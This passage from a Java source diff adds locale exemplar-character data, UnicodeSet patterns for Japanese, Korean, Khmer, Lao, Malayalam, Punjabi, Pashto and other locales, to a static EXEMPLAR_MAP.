+                + "\u62CD\u62D0\u62D2\u62D3\u62D8\u62D9\u62DB\u62DD\u62E0\u62E1"
+                + "\u62EC\u62F7\u62FC\u62FE\u6301\u6307\u6311\u6319\u631F\u632F"
+                + "\u633F\u6355\u635C\u6368\u636E\u6383\u6388\u638C\u6392\u6398"
+                + "\u639B\u63A1\u63A2\u63A5\u63A7\u63A8\u63AA\u63B2\u63CF\u63D0"
+                + "\u63DA\u63DB\u63E1\u63EE\u63F4\u63FA\u640D\u642C\u642D\u643A"
+                + "\u643E\u6442\u6458\u6469\u6483\u64A4\u64AE\u64B2\u64C1\u64CD"
+                + "\u64E6\u64EC\u652F\u6539\u653B\u653E\u653F\u6545\u654F\u6551"
+                + "\u6557\u6559\u6562\u6563\u656C\u6570\u6574\u6575\u6577\u6587"
+                + "\u6589\u658E\u6597\u6599\u659C\u65A4\u65A5\u65AD\u65B0\u65B9"
+                + "\u65BD\u65C5\u65CB\u65CF\u65D7\u65E2\u65E5\u65E7-\u65E9\u65EC\u6606"
+                + "\u6607\u660C\u660E\u6613\u6614\u661F\u6620\u6625\u6628\u662D"
+                + "\u662F\u663C\u6642\u6669\u666E\u666F\u6674\u6676\u6681\u6687"
+                + "\u6691\u6696\u6697\u66A6\u66AB\u66AE\u66B4\u66C7\u66DC\u66F2"
+                + "\u66F4\u66F8\u66F9\u66FF\u6700\u6708\u6709\u670D\u6715\u6717"
+                + "\u671B\u671D\u671F\u6728\u672A-\u672D\u6731\u6734\u673A\u673D"
+                + "\u6749\u6750\u6751\u675F\u6761\u6765\u676F\u6771\u677E\u677F"
+                + "\u6790\u6797\u679A\u679C\u679D\u67A0\u67A2\u67AF\u67B6\u67C4"
+                + "\u67D0\u67D3\u67D4\u67F1\u67F3\u67FB\u6804\u6813\u6821\u682A"
+                + "\u6838\u6839\u683C\u683D\u6843\u6848\u6851\u685C\u685F\u6885"
+                + "\u68B0\u68C4\u68CB\u68D2\u68DA\u68DF\u68EE\u68FA\u690D\u691C"
+                + "\u6954\u696D\u6975\u697C\u697D\u6982\u69CB\u69D8\u69FD\u6A19"
+                + "\u6A21\u6A29\u6A2A\u6A39\u6A4B\u6A5F\u6B04\u6B20\u6B21\u6B27"
+                + "\u6B32\u6B3A\u6B3E\u6B4C\u6B53\u6B62\u6B63\u6B66\u6B69\u6B6F"
+                + "\u6B73\u6B74\u6B7B\u6B89-\u6B8B\u6B96\u6BB4\u6BB5\u6BBA\u6BBB\u6BBF"
+                + "\u6BCD\u6BCE\u6BD2\u6BD4\u6BDB\u6C0F\u6C11\u6C17\u6C34\u6C37"
+                + "\u6C38\u6C41\u6C42\u6C4E\u6C57\u6C5A\u6C5F\u6C60\u6C7A\u6C7D"
+                + "\u6C88\u6C96\u6CA1\u6CA2\u6CB3\u6CB8\u6CB9\u6CBB\u6CBC\u6CBF"
+                + "\u6CC1\u6CC9\u6CCA\u6CCC\u6CD5\u6CE1-\u6CE3\u6CE5\u6CE8\u6CF0\u6CF3"
+                + "\u6D0B\u6D17\u6D1E\u6D25\u6D2A\u6D3B\u6D3E\u6D41\u6D44\u6D45"
+                + "\u6D5C\u6D66\u6D6A\u6D6E\u6D74\u6D77\u6D78\u6D88\u6D99\u6DAF"
+                + "\u6DB2\u6DBC\u6DD1\u6DE1\u6DF1\u6DF7\u6DFB\u6E05\u6E07-\u6E09"
+                + "\u6E0B\u6E13\u6E1B\u6E21\u6E26\u6E29\u6E2C\u6E2F\u6E56\u6E6F"
+                + "\u6E7E-\u6E80\u6E90\u6E96\u6E9D\u6EB6\u6EC5\u6ECB\u6ED1\u6EDD"
+                + "\u6EDE\u6EF4\u6F01\u6F02\u6F06\u6F0F\u6F14\u6F20\u6F22\u6F2B"
+                + "\u6F2C\u6F38\u6F54\u6F5C\u6F5F\u6F64\u6F6E\u6F84\u6FC0\u6FC1"
+                + "\u6FC3\u6FEB\u6FEF\u702C\u706B\u706F\u7070\u707D\u7089\u708A"
+                + "\u708E\u70AD\u70B9\u70BA\u70C8\u7121\u7126\u7136\u713C\u7159"
+                + "\u7167\u7169\u716E\u719F\u71B1\u71C3\u71E5\u7206\u7235\u7236"
+                + "\u7247\u7248\u7259\u725B\u7267\u7269\u7272\u7279\u72A0\u72AC"
+                + "\u72AF\u72B6\u72C2\u72E9\u72EC\u72ED\u731B\u731F\u732A\u732B"
+                + "\u732E\u7336\u733F\u7344\u7363\u7372\u7384\u7387\u7389\u738B"
+                + "\u73CD\u73E0\u73ED\u73FE\u7403\u7406\u7434\u74B0\u74BD\u74F6"
+                + "\u7518\u751A\u751F\u7523\u7528\u7530-\u7533\u7537\u753A\u753B\u754C"
+                + "\u7551\u7554\u7559\u755C\u755D\u7565\u756A\u7570\u7573\u758E"
+                + "\u7591\u75AB\u75B2\u75BE\u75C5\u75C7\u75D8\u75DB\u75E2\u75F4"
+                + "\u7642\u7652\u7656\u7678\u767A\u767B\u767D\u767E\u7684\u7686"
+                + "\u7687\u76AE\u76BF\u76C6\u76CA\u76D7\u76DB\u76DF\u76E3\u76E4"
+                + "\u76EE\u76F2\u76F4\u76F8\u76FE\u7701\u770B\u770C\u771F\u7720"
+                + "\u773A\u773C\u7740\u7761\u7763\u77AC\u77DB\u77E2\u77E5\u77ED"
+                + "\u77EF\u77F3\u7802\u7814\u7815\u7832\u7834\u785D\u786B\u786C"
+                + "\u7881\u7891\u78BA\u78C1\u78E8\u7901\u790E\u793A\u793C\u793E"
+                + "\u7948\u7949\u7956\u795A\u795D\u795E\u7965\u7968\u796D\u7981"
+                + "\u7984\u7985\u798D-\u798F\u79C0\u79C1\u79CB\u79D1\u79D2\u79D8"
+                + "\u79DF\u79E9\u79F0\u79FB\u7A0B\u7A0E\u7A1A\u7A2E\u7A32\u7A3C"
+                + "\u7A3F\u7A40\u7A42\u7A4D\u7A4F\u7A6B\u7A74\u7A76\u7A7A\u7A81"
+                + "\u7A83\u7A92\u7A93\u7AAE\u7AAF\u7ACB\u7ADC\u7AE0\u7AE5\u7AEF"
+                + "\u7AF6\u7AF9\u7B11\u7B1B\u7B26\u7B2C\u7B46\u7B49\u7B4B\u7B52"
+                + "\u7B54\u7B56\u7B87\u7B97\u7BA1\u7BB1\u7BC0\u7BC4\u7BC9\u7BE4"
+                + "\u7C21\u7C3F\u7C4D\u7C73\u7C89\u7C8B\u7C92\u7C97\u7C98\u7C9B"
+                + "\u7CA7\u7CBE\u7CD6\u7CE7\u7CF8\u7CFB\u7CFE\u7D00\u7D04\u7D05"
+                + "\u7D0B\u7D0D\u7D14\u7D19-\u7D1B\u7D20-\u7D22\u7D2B\u7D2F\u7D30\u7D33"
+                + "\u7D39\u7D3A\u7D42\u7D44\u7D4C\u7D50\u7D5E\u7D61\u7D66\u7D71"
+                + "\u7D75\u7D76\u7D79\u7D99\u7D9A\u7DAD\u7DB1\u7DB2\u7DBF\u7DCA"
+                + "\u7DCF\u7DD1\u7DD2\u7DDA\u7DE0\u7DE8\u7DE9\u7DEF\u7DF4\u7E01"
+                + "\u7E04\u7E1B\u7E26\u7E2B\u7E2E\u7E3E\u7E41\u7E4A\u7E54\u7E55"
+                + "\u7E6D\u7E70\u7F36\u7F6A\u7F6E\u7F70\u7F72\u7F77\u7F85\u7F8A"
+                + "\u7F8E\u7FA4\u7FA9\u7FBD\u7FC1\u7FCC\u7FD2\u7FFB\u7FFC\u8001"
+                + "\u8003\u8005\u8010\u8015\u8017\u8033\u8056\u805E\u8074\u8077"
+                + "\u8089\u808C\u8096\u809D\u80A2\u80A5\u80A9\u80AA\u80AF\u80B2"
+                + "\u80BA\u80C3\u80C6\u80CC\u80CE\u80DE\u80F4\u80F8\u80FD\u8102"
+                + "\u8105\u8108\u811A\u8131\u8133\u8139\u8150\u8155\u8170\u8178"
+                + "\u8179\u819A\u819C\u81A8\u81D3\u81E3\u81E8\u81EA\u81ED\u81F3"
+                + "\u81F4\u8208\u820C\u820E\u8217\u821E\u821F\u822A\u822C\u8236"
+                + "\u8239\u8247\u8266\u826F\u8272\u828B\u829D\u82B1\u82B3\u82B8"
+                + "\u82BD\u82D7\u82E5\u82E6\u82F1\u8302\u830E\u8336\u8349\u8352"
+                + "\u8358\u8377\u83CA\u83CC\u83D3\u83DC\u83EF\u843D\u8449\u8457"
+                + "\u846C\u84B8\u84C4\u8535\u8584\u85A6\u85AA-\u85AC\u85E4\u85E9"
+                + "\u85FB\u864E\u8650\u865A\u865C\u865E\u866B\u868A\u8695\u86C7"
+                + "\u86CD\u86EE\u878D\u8840\u8846\u884C\u8853\u8857\u885B\u885D"
+                + "\u8861\u8863\u8868\u8870\u8877\u888B\u88AB\u88C1\u88C2\u88C5"
+                + "\u88CF\u88D5\u88DC\u88F8\u88FD\u8907\u8910\u8912\u895F\u8972"
+                + "\u897F\u8981\u8986\u8987\u898B\u898F\u8996\u899A\u89A7\u89AA"
+                + "\u89B3\u89D2\u89E3\u89E6\u8A00\u8A02\u8A08\u8A0E\u8A13\u8A17"
+                + "\u8A18\u8A1F\u8A2A\u8A2D\u8A31\u8A33\u8A34\u8A3A\u8A3C\u8A50"
+                + "\u8A54\u8A55\u8A5E\u8A60\u8A66\u8A69\u8A70-\u8A73\u8A87\u8A89"
+                + "\u8A8C\u8A8D\u8A93\u8A95\u8A98\u8A9E\u8AA0\u8AA4\u8AAC\u8AAD"
+                + "\u8AB0\u8AB2\u8ABF\u8AC7\u8ACB\u8AD6\u8AED\u8AEE\u8AF8\u8AFE"
+                + "\u8B00\u8B01\u8B04\u8B19\u8B1B\u8B1D\u8B21\u8B39\u8B58\u8B5C"
+                + "\u8B66\u8B70\u8B72\u8B77\u8C37\u8C46\u8C4A\u8C5A\u8C61\u8C6A"
+                + "\u8C9D\u8C9E\u8CA0-\u8CA2\u8CA7-\u8CA9\u8CAB\u8CAC\u8CAF\u8CB4"
+                + "\u8CB7\u8CB8\u8CBB\u8CBF\u8CC0\u8CC3\u8CC4\u8CC7\u8CCA\u8CD3"
+                + "\u8CDB\u8CDC\u8CDE\u8CE0\u8CE2\u8CE6\u8CEA\u8CFC\u8D08\u8D64"
+                + "\u8D66\u8D70\u8D74\u8D77\u8D85\u8D8A\u8DA3\u8DB3\u8DDD\u8DE1"
+                + "\u8DEF\u8DF3\u8DF5\u8E0A\u8E0F\u8E8D\u8EAB\u8ECA\u8ECC\u8ECD"
+                + "\u8ED2\u8EDF\u8EE2\u8EF8\u8EFD\u8F03\u8F09\u8F1D\u8F29\u8F2A"
+                + "\u8F38\u8F44\u8F9B\u8F9E\u8FB0-\u8FB2\u8FBA\u8FBC\u8FC5\u8FCE"
+                + "\u8FD1\u8FD4\u8FEB\u8FED\u8FF0\u8FF7\u8FFD\u9000\u9001\u9003"
+                + "\u9006\u900F\u9010\u9013\u9014\u901A\u901D\u901F\u9020\u9023"
+                + "\u902E\u9031\u9032\u9038\u9042\u9045\u9047\u904A\u904B\u904D"
+                + "\u904E\u9053-\u9055\u9060\u9063\u9069\u906D\u906E\u9075\u9077\u9078"
+                + "\u907A\u907F\u9084\u90A6\u90AA\u90B8\u90CA\u90CE\u90E1\u90E8"
+                + "\u90ED\u90F5\u90F7\u90FD\u9149\u914C\u914D\u9152\u9154\u9162"
+                + "\u916A\u916C\u9175\u9177\u9178\u919C\u91B8\u91C8\u91CC-\u91CF"
+                + "\u91D1\u91DD\u91E3\u920D\u9234\u9244\u925B\u9262\u9271\u9280"
+                + "\u9283\u9285\u9291\u9298\u92AD\u92ED\u92F3\u92FC\u9304\u9318"
+                + "\u9320\u932C\u932F\u9332\u935B\u9396\u93AE\u93E1\u9418\u9451"
+                + "\u9577\u9580\u9589\u958B\u958F\u9591\u9593\u95A2\u95A3\u95A5"
+                + "\u95B2\u95D8\u962A\u9632\u963B\u9644\u964D\u9650\u965B\u9662-\u9665"
+                + "\u966A\u9670\u9673\u9675\u9676\u9678\u967A\u967D\u9685\u9686"
+                + "\u968A\u968E\u968F\u9694\u969B\u969C\u96A0\u96A3\u96B7\u96BB"
+                + "\u96C4-\u96C7\u96C9\u96CC\u96D1\u96E2\u96E3\u96E8\u96EA\u96F0"
+                + "\u96F2\u96F6\u96F7\u96FB\u9700\u9707\u970A\u971C\u9727\u9732"
+                + "\u9752\u9759\u975E\u9762\u9769\u9774\u97D3\u97F3\u97FB\u97FF"
+                + "\u9802\u9803\u9805\u9806\u9810-\u9812\u9818\u982D\u983B\u983C"
+                + "\u984C\u984D\u9854\u9855\u9858\u985E\u9867\u98A8\u98DB\u98DF"
+                + "\u98E2\u98EF\u98F2\u98FC-\u98FE\u990A\u9913\u9928\u9996\u9999\u99AC"
+                + "\u99C4-\u99C6\u99D0\u9A0E\u9A12\u9A13\u9A30\u9A5A\u9AA8\u9AC4"
+                + "\u9AD8\u9AEA\u9B3C\u9B42\u9B45\u9B54\u9B5A\u9BAE\u9BE8\u9CE5"
+                + "\u9CEF\u9CF4\u9D8F\u9E7F\u9E97\u9EA6\u9EBB\u9EC4\u9ED2\u9ED9"
+                + "\u9F13\u9F20\u9F3B\u9F62\uFF01-\uFF03\uFF05-\uFF0A\uFF0C-\uFF0F"
+                + "\uFF1A\uFF1B\uFF1F\uFF20\uFF3B-\uFF3D\uFF3F\uFF5B\uFF5D\uFF61-\uFF65]"));
+        EXEMPLAR_MAP.put("ka", new UnicodeSet("[\u10A0-\u10C5\u10D0-\u10FB\u2116\u2D00-\u2D25]"));
+        EXEMPLAR_MAP.put("kkj", new UnicodeSet("[\u2039\u203A{A\u0327}{I\u0327}{U\u0327}{a\u0327}"
+                + "{i\u0327}{u\u0327}{\u0186\u0302}{\u0186\u0327}{\u0190\u0302}{\u0190\u0327}"
+                + "{\u0254\u0302}{\u0254\u0327}{\u025B\u0302}{\u025B\u0327}]"));
+        EXEMPLAR_MAP.put("km", new UnicodeSet("[\u1780-\u17A2\u17A5-\u17A7\u17A9-\u17B3"
+                + "\u17B6-\u17D2\u17D4-\u17D6\u17D9\u17DA\u200B{\u17A2\u17B6}{\u17A7\u1780}]"));
+        EXEMPLAR_MAP.put("kn", new UnicodeSet("[\u0C82\u0C83\u0C85-\u0C8C\u0C8E-\u0C90"
+                + "\u0C92-\u0CA8\u0CAA-\u0CB3\u0CB5-\u0CB9\u0CBC-\u0CC4\u0CC6-\u0CC8\u0CCA-\u0CCD"
+                + "\u0CD5\u0CD6\u0CDE\u0CE0\u0CE1\u0CE6-\u0CEF]"));
+        EXEMPLAR_MAP.put("ko", new UnicodeSet("[\u1100-\u1112\u1161-\u1175\u11A8-\u11C2\u2015"
+                + "\u2025\u2030\u203B\u203E\u3001-\u3003\u3008-\u3011\u3014\u3015\u301C\u30FB\u3131"
+                + "\u3134\u3137\u3139\u3141\u3142\u3145\u3147\u3148\u314A-\u314E\u4E18\u4E32"
+                + "\u4E43\u4E45\u4E56\u4E5D\u4E5E\u4E6B\u4E7E\u4E82\u4E98\u4EA4"
+                + "\u4EAC\u4EC7\u4ECA\u4ECB\u4EF6\u4EF7\u4F01\u4F0B\u4F0E\u4F3D"
+                + "\u4F73\u4F76\u4F83\u4F86\u4F8A\u4F9B\u4FC2\u4FD3\u4FF1\u500B"
+                + "\u501E\u5026\u5028\u5047\u5048\u5065\u5080\u5091\u50BE\u50C5"
+                + "\u50D1\u50F9\u5106\u5109\u513A\u5149\u514B\u5162\u5167\u516C"
+                + "\u5171\u5176\u5177\u517C\u5180\u51A0\u51F1\u520A\u522E\u5238"
+                + "\u523B\u524B\u525B\u5287\u528D\u5292\u529F\u52A0\u52A4\u52AB"
+                + "\u52C1\u52CD\u52D8\u52E4\u52F8\u52FB\u52FE\u5321\u5323\u5340"
+                + "\u5357\u5366\u5374\u5375\u5377\u537F\u53A5\u53BB\u53CA\u53E3"
+                + "\u53E5\u53E9\u53EB\u53EF\u5404\u5409\u541B\u544A\u5471\u5475"
+                + "\u548E\u54AC\u54E5\u54ED\u5553\u5580\u5587\u559D\u55AB\u55AC"
+                + "\u55DC\u5609\u5614\u5668\u56CA\u56F0\u56FA\u5708\u570B\u572D"
+                + "\u573B\u5747\u574E\u5751\u5764\u5770\u5775\u57A2\u57FA\u57FC"
+                + "\u5800\u5805\u5808\u582A\u583A\u584A\u584F\u5883\u58BE\u58D9"
+                + "\u58DE\u5914\u5947\u5948\u594E\u5951\u5978\u5993\u5997\u59D1"
+                + "\u59DC\u59E6\u5A18\u5A1C\u5AC1\u5B0C\u5B54\u5B63\u5B64\u5B8F"
+                + "\u5B98\u5BA2\u5BAE\u5BB6\u5BC4\u5BC7\u5BE1\u5BEC\u5C3B\u5C40"
+                + "\u5C45\u5C46\u5C48\u5C90\u5CA1\u5CAC\u5D0E\u5D11\u5D17\u5D4C"
+                + "\u5D50\u5D87\u5DA0\u5DE5\u5DE7\u5DE8\u5DF1\u5DFE\u5E72\u5E79"
+                + "\u5E7E\u5E9A\u5EAB\u5EB7\u5ECA\u5ED0\u5ED3\u5EE3\u5EFA\u5F13"
+                + "\u5F3A\u5F4A\u5F91\u5FCC\u6025\u602A\u602F\u6050\u605D\u606A"
+                + "\u606D\u60B8\u6106\u611F\u6127\u6137\u613E\u614A\u6163\u6164"
+                + "\u6168\u6176\u6177\u61A9\u61AC\u61BE\u61C3\u61C7\u61E6\u61F6"
+                + "\u61FC\u6208\u6212\u621F\u6221\u6271\u6280\u6289\u62C9\u62CF"
+                + "\u62D0\u62D2\u62D8\u62EC\u62EE\u62F1\u62F3\u62F7\u62FF\u634F"
+                + "\u636E\u6372\u637A\u6398\u639B\u63A7\u63C0\u63C6\u63ED\u64CA"
+                + "\u64CE\u64D2\u64DA\u64E7\u652A\u6537\u6539\u653B\u6545\u654E"
+                + "\u6551\u6562\u656C\u6572\u659B\u65A4\u65D7\u65E3\u6606\u6611"
+                + "\u666F\u6677\u6687\u6696\u66A0\u66BB\u66E0\u66F2\u66F4\u66F7"
+                + "\u6717\u671E\u671F\u673A\u6746\u675E\u6770\u678F\u679C\u67AF"
+                + "\u67B6\u67B8\u67D1\u67E9\u67EC\u67EF\u6821\u6839\u683C\u6840"
+                + "\u6842\u6854\u687F\u688F\u6897\u68B0\u68B1\u68C4\u68CB\u68CD"
+                + "\u68D8\u68E8\u68FA\u6957\u6960\u6975\u69C1\u69CB\u69D0\u69E8"
+                + "\u69EA\u69FB\u69FF\u6A02\u6A44\u6A4B\u6A58\u6A5F\u6A84\u6A8E"
+                + "\u6AA2\u6AC3\u6B04\u6B0A\u6B3A\u6B3E\u6B4C\u6B50\u6B78\u6BBC"
+                + "\u6BC6\u6BEC\u6C23\u6C42\u6C5F\u6C68\u6C72\u6C7A\u6C7D\u6C82"
+                + "\u6CBD\u6D1B\u6D38\u6D6A\u6D87\u6DC3\u6DC7\u6E1B\u6E20\u6E34"
+                + "\u6E73\u6E9D\u6EAA\u6ED1\u6EFE\u6F11\u6F54\u6F70\u6F97\u6FC0"
+                + "\u6FEB\u704C\u7078\u7085\u709A\u70AC\u70D9\u70F1\u7156\u721B"
+                + "\u727D\u72AC\u72C2\u72D7\u72E1\u72FC\u7357\u7396\u7398\u73C2"
+                + "\u73CF\u73D6\u73D9\u73DE\u73EA\u7403\u7426\u7428\u742A\u742F"
+                + "\u7434\u747E\u7482\u749F\u74A3\u74A5\u74CA\u74D8\u74DC\u7504"
+                + "\u7518\u7532\u7537\u7547\u754C\u7578\u757A\u757F\u7586\u75A5"
+                + "\u75B3\u75C2\u75D9\u75FC\u764E\u7669\u7678\u7686\u768E\u7690"
+                + "\u76D6\u76E3\u770B\u7737\u777E\u77B0\u77BC\u77BF\u77DC\u77E9"
+                + "\u77EF\u7845\u786C\u7881\u78A3\u78CE\u78EC\u78EF\u78F5\u7941"
+                + "\u7947\u7948\u795B\u797A\u7981\u79BD\u79D1\u7A08\u7A3C\u7A3D"
+                + "\u7A3F\u7A40\u7A76\u7A79\u7A7A\u7A98\u7A9F\u7AAE\u7ABA\u7AC5"
+                + "\u7ADF\u7AED\u7AF6\u7AFF\u7B4B\u7B50\u7B60\u7B87\u7B95\u7B9D"
+                + "\u7BA1\u7C21\u7CB3\u7CE0\u7CFB\u7CFE\u7D00\u7D0D\u7D18\u7D1A"
+                + "\u7D3A\u7D45\u7D50\u7D5E\u7D66\u7D73\u7D79\u7D7F\u7D93\u7DB1"
+                + "\u7DBA\u7DCA\u7E6B\u7E6D\u7E7C\u7F3A\u7F50\u7F6B\u7F85\u7F88"
+                + "\u7F8C\u7F94\u7FA4\u7FB9\u7FF9\u8003\u8006\u8009\u8015\u802D"
+                + "\u803F\u808C\u809D\u80A1\u80A9\u80AF\u80B1\u80DB\u80F1\u811A"
+                + "\u811B\u8154\u8171\u8188\u818F\u81A0\u81D8\u81FC\u8205\u820A"
+                + "\u8221\u826E\u8271\u828E\u82A5\u82A9\u82B9\u82DB\u82DF\u82E6"
+                + "\u82FD\u8304\u8396\u83C5\u83CA\u83CC\u83D3\u83EB\u83F0\u843D"
+                + "\u845B\u8475\u84CB\u854E\u8568\u8591\u85C1\u85CD\u85FF\u862D"
+                + "\u863F\u8654\u86A3\u86DF\u874E\u87BA\u881F\u8831\u8857\u8862"
+                + "\u8872\u887E\u887F\u8888\u889E\u88B4\u88D9\u88F8\u8910\u8941"
+                + "\u895F\u8964\u898B\u898F\u89A1\u89B2\u89BA\u89C0\u89D2\u8A08"
+                + "\u8A18\u8A23\u8A36\u8A6D\u8A87\u8AA1\u8AA5\u8AB2\u8AEB\u8AFE"
+                + "\u8B19\u8B1B\u8B33\u8B39\u8B4F\u8B66\u8B74\u8C37\u8C3F\u8C48"
+                + "\u8CA2\u8CAB\u8CB4\u8CC8\u8CFC\u8D73\u8D77\u8DCF\u8DDD\u8DE8"
+                + "\u8E1E\u8E47\u8E76\u8EAC\u8EC0\u8ECA\u8ECC\u8ECD\u8EFB\u8F03"
+                + "\u8F15\u8F4E\u8F5F\u8F9C\u8FD1\u8FE6\u8FF2\u9002\u9011\u9015"
+                + "\u9035\u904E\u9063\u907D\u908F\u90A3\u90AF\u90B1\u90CA\u90CE"
+                + "\u90E1\u90ED\u916A\u91B5\u91D1\u9210\u921E\u9240\u9245\u9257"
+                + "\u9264\u92B6\u92F8\u92FC\u9321\u9324\u9326\u932E\u934B\u9375"
+                + "\u938C\u93A7\u93E1\u9451\u9452\u945B\u958B\u9593\u9598\u95A3"
+                + "\u95A8\u95D5\u95DC\u964D\u968E\u9694\u9699\u96C7\u96E3\u978F"
+                + "\u97A0\u97A8\u97AB\u9803\u9838\u9846\u9867\u98E2\u9903\u9928"
+                + "\u9949\u994B\u9951\u99D2\u99D5\u99F1\u9A0E\u9A0F\u9A2B\u9A45"
+                + "\u9A55\u9A5A\u9A65\u9AA8\u9AD8\u9B3C\u9B41\u9BAB\u9BE4\u9BE8"
+                + "\u9C47\u9CE9\u9D51\u9D60\u9DC4\u9DD7\u9E1E\u9E92\u9EB4\u9ED4"
+                + "\u9F13\u9F95\u9F9C\uAC00-\uD7A3\uFF01-\uFF03\uFF05-\uFF0A\uFF0C-\uFF0F"
+                + "\uFF1A\uFF1B\uFF1F\uFF20\uFF3B-\uFF3D\uFF3F\uFF5B\uFF5D]"));
+        EXEMPLAR_MAP.put("kok", new UnicodeSet("[\u0901-\u0903\u0905-\u090D\u090F-\u0911"
+                + "\u0913-\u0928\u092A-\u0930\u0932\u0933\u0935-\u0939\u093C-\u0945\u0947-\u0949"
+                + "\u094B-\u094D\u0950\u0966-\u096F{\u0915\u093C}{\u0916\u093C}"
+                + "{\u0917\u093C}{\u091C\u093C}{\u0921\u093C}{\u0922\u093C}{\u092B\u093C}"
+                + "{\u092F\u093C}]"));
+        EXEMPLAR_MAP.put("ksh", new UnicodeSet("[\u2E17]"));
+        EXEMPLAR_MAP.put("lkt", new UnicodeSet("[\u02BC{k\u02BC}{p\u02BC}{s\u02BC}{t\u02BC}"
+                + "{\u010D\u02BC}{\u0161\u02BC}{\u021F\u02BC}]"));
+        EXEMPLAR_MAP.put("ln", new UnicodeSet("[{\u0186\u0302}{\u0186\u030C}{\u0190\u0302}"
+                + "{\u0190\u030C}{\u0254\u0302}{\u0254\u030C}{\u025B\u0302}{\u025B\u030C}]"));
+        EXEMPLAR_MAP.put("lo", new UnicodeSet("[\u0E81\u0E82\u0E84\u0E87\u0E88\u0E8A\u0E8D"
+                + "\u0E94-\u0E97\u0E99-\u0E9F\u0EA1-\u0EA3\u0EA5\u0EA7\u0EAA\u0EAB\u0EAD-\u0EB9"
+                + "\u0EBB-\u0EBD\u0EC0-\u0EC4\u0EC6\u0EC8-\u0ECD\u0ED0-\u0ED9\u0EDC\u0EDD\u200B"
+                + "{\u0EAB\u0E87}{\u0EAB\u0E8D}{\u0EAB\u0E99}{\u0EAB\u0EA1}{\u0EAB\u0EA5}"
+                + "{\u0EAB\u0EA7}]"));
+        EXEMPLAR_MAP.put("lt", new UnicodeSet("[{I\u0303}{I\u0307\u0303}{J\u0303}{J\u0307\u0303}"
+                + "{L\u0303}{M\u0303}{R\u0303}{i\u0307\u0303}{j\u0303}{j\u0307\u0303}{l\u0303}"
+                + "{m\u0303}{r\u0303}{\u0104\u0303}{\u0105\u0303}{\u0116\u0303}{\u0117\u0303}"
+                + "{\u0118\u0303}{\u0119\u0303}{\u012E\u0303}{\u012E\u0307\u0303}{\u012F\u0303}"
+                + "{\u012F\u0307\u0303}{\u016A\u0303}{\u016B\u0303}{\u0172\u0303}{\u0173\u0303}]"));
+        EXEMPLAR_MAP.put("mgo", new UnicodeSet("[\u02BC]"));
+        EXEMPLAR_MAP.put("ml", new UnicodeSet("[\u0D02\u0D03\u0D05-\u0D0C\u0D0E-\u0D10"
+                + "\u0D12-\u0D28\u0D2A-\u0D39\u0D3E-\u0D43\u0D46-\u0D48\u0D4A-\u0D4D\u0D57\u0D60"
+                + "\u0D61\u0D7A-\u0D7F]"));
+        EXEMPLAR_MAP.put("mr", new UnicodeSet("[\u0901-\u0903\u0905-\u090D\u090F-\u0911"
+                + "\u0913-\u0928\u092A-\u0930\u0932\u0933\u0935-\u0939\u093C-\u0945\u0947-\u0949"
+                + "\u094B-\u094D\u0950\u0966-\u096F]"));
+        EXEMPLAR_MAP.put("my", new UnicodeSet("[\u1000-\u1032\u1036-\u104B\u1050-\u1059]"));
+        EXEMPLAR_MAP.put("mzn", new UnicodeSet("[\u060C\u061B\u061F\u0621-\u063A\u0641-\u0652"
+                + "\u0654\u0656\u066A-\u066C\u0670\u067E\u0686\u0698\u06A9\u06AF\u06CC\u06F0-\u06F9"
+                + "\u2039\u203A]"));
+        EXEMPLAR_MAP.put("ne", new UnicodeSet("[\u0901-\u0903\u0905-\u090D\u090F-\u0911"
+                + "\u0913-\u0928\u092A-\u0930\u0932\u0933\u0935-\u0939\u093C-\u0945\u0947-\u0949"
+                + "\u094B-\u094D\u0950\u0966-\u096F]"));
+        EXEMPLAR_MAP.put("nmg", new UnicodeSet("[{\u0186\u0302}{\u0186\u0304}{\u0186\u030C}"
+                + "{\u018E\u0302}{\u018E\u0304}{\u018E\u030C}{\u0190\u0302}{\u0190\u0304}"
+                + "{\u0190\u030C}{\u01DD\u0302}{\u01DD\u0304}{\u01DD\u030C}{\u0254\u0302}"
+                + "{\u0254\u0304}{\u0254\u030C}{\u025B\u0302}{\u025B\u0304}{\u025B\u030C}]"));
+        EXEMPLAR_MAP.put("nnh", new UnicodeSet("[\u02BC{\u0186\u0302}{\u0186\u030C}{\u0190\u0302}"
+                + "{\u0190\u030C}{\u0244\u0302}{\u0244\u030C}{\u0254\u0302}{\u0254\u030C}"
+                + "{\u025B\u0302}{\u025B\u030C}{\u0289\u0302}{\u0289\u030C}]"));
+        EXEMPLAR_MAP.put("nus", new UnicodeSet("[{A\u0331}{E\u0331}{I\u0331}{O\u0331}{a\u0331}"
+                + "{e\u0331}{i\u0331}{o\u0331}{\u0186\u0331}{\u0190\u0331}{\u0190\u0331\u0308}"
+                + "{\u0254\u0331}{\u025B\u0331}{\u025B\u0331\u0308}]"));
+        EXEMPLAR_MAP.put("or", new UnicodeSet("[\u0B01-\u0B03\u0B05-\u0B0B\u0B0F\u0B10"
+                + "\u0B13-\u0B28\u0B2A-\u0B30\u0B32\u0B33\u0B35-\u0B39\u0B3C\u0B3E-\u0B43\u0B47"
+                + "\u0B48\u0B4B-\u0B4D\u0B5F\u0B71{\u0B15\u0B4D\u0B37}{\u0B21\u0B3C}"
+                + "{\u0B22\u0B3C}]"));
+        EXEMPLAR_MAP.put("pa-Arab", new UnicodeSet("[\u0621-\u0624\u0626-\u063A\u0641\u0642"
+                + "\u0644-\u0648\u064F\u066A-\u066C\u0679-\u067E\u0686\u0688\u0691\u0698\u06A9"
+                + "\u06AF\u06BA\u06BE\u06C1\u06CC\u06D2\u06F0-\u06F9]"));
+        EXEMPLAR_MAP.put("pa-Guru", new UnicodeSet("[\u0A01-\u0A03\u0A05-\u0A0A\u0A0F\u0A10"
+                + "\u0A13-\u0A28\u0A2A-\u0A30\u0A32\u0A35\u0A38\u0A39\u0A3C\u0A3E-\u0A42\u0A47"
+                + "\u0A48\u0A4B-\u0A4D\u0A5C\u0A66-\u0A74{\u0A16\u0A3C}{\u0A17\u0A3C}"
+                + "{\u0A1C\u0A3C}{\u0A2B\u0A3C}{\u0A32\u0A3C}{\u0A38\u0A3C}]"));
+        EXEMPLAR_MAP.put("ps", new UnicodeSet("[\u0621-\u0624\u0626-\u063A\u0641\u0642"
+                + "\u0644-\u0648\u064A-\u0652\u0654\u066A-\u066C\u0670\u067C\u067E\u0681\u0685"
+                + "\u0686\u0689\u0693\u0696\u0698\u069A\u06A9\u06AB\u06AF\u06BC\u06CC\u06CD\u06D0"
+                + "\u06F0-\u06F9]"));
